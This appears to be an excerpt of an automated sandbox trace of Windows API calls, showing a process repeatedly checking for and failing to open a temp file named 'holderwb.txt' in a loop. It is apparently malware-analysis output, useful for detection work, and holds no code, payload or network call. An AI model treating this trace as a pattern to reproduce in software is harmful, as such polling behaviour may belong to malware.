	[0098.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.827] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.827] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.828] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.828] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.828] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.829] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.829] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.829] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.829] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.829] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.829] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.829] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.830] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.830] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.830] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.830] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.831] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.831] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.831] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.831] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.832] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.832] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.832] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.832] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.833] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.833] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.833] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.833] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.834] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.834] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.834] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.834] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.834] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.834] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.835] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.835] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.835] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.835] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.835] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.835] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.835] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.836] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.836] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.836] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.836] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.836] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.836] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.836] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.837] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.837] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.837] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.837] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.838] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.838] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.838] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.839] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.839] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.839] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.839] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.839] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.839] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.840] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.840] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.840] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.840] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
